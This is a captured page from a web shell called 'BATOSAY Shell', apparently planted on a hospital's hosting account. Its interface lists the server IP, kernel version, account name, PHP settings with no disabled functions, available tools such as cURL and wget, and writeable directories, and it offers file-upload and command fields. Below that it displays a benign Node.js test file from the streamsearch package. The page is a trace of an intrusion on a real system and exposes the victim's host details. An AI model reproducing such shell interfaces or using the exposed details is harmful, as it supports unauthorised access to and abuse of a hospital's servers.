BATOSAY Shell
Server IP : 170.10.162.208  /  Your IP : 216.73.216.129
Web Server : LiteSpeed
System : Linux altar19.supremepanel19.com 4.18.0-553.69.1.lve.el8.x86_64 #1 SMP Wed Aug 13 19:53:59 UTC 2025 x86_64
User : deltahospital ( 1806)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/deltahospital/nodevenv/api.delta-hospital.com/20/lib/node_modules/streamsearch/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/deltahospital/nodevenv/api.delta-hospital.com/20/lib/node_modules/streamsearch/test/test.js
'use strict';

const assert = require('assert');

const StreamSearch = require('../lib/sbmh.js');

[
  {
    needle: '\r\n',
    chunks: [
      'foo',
      ' bar',
      '\r',
      '\n',
      'baz, hello\r',
      '\n world.',
      '\r\n Node.JS rules!!\r\n\r\n',
    ],
    expect: [
      [false, 'foo'],
      [false, ' bar'],
      [ true, null],
      [false, 'baz, hello'],
      [ true, null],
      [false, ' world.'],
      [ true, null],
      [ true, ' Node.JS rules!!'],
      [ true, ''],
    ],
  },
  {
    needle: '---foobarbaz',
    chunks: [
      '---foobarbaz',
      'asdf',
      '\r\n',
      '---foobarba',
      '---foobar',
      'ba',
      '\r\n---foobarbaz--\r\n',
    ],
    expect: [
      [ true, null],
      [false, 'asdf'],
      [false, '\r\n'],
      [false, '---foobarba'],
      [false, '---foobarba'],
      [ true, '\r\n'],
      [false, '--\r\n'],
    ],
  },
].forEach((test, i) => {
  console.log(`Running test #${i + 1}`);
  const { needle, chunks, expect } = test;

  const results = [];
  const ss = new StreamSearch(Buffer.from(needle),
                              (isMatch, data, start, end) => {
    if (data)
      data = data.toString('latin1', start, end);
    else
      data = null;
    results.push([isMatch, data]);
  });

  for (const chunk of chunks)
    ss.push(Buffer.from(chunk));

  assert.deepStrictEqual(results, expect);
});

Batosay - 2023
IDNSEO Team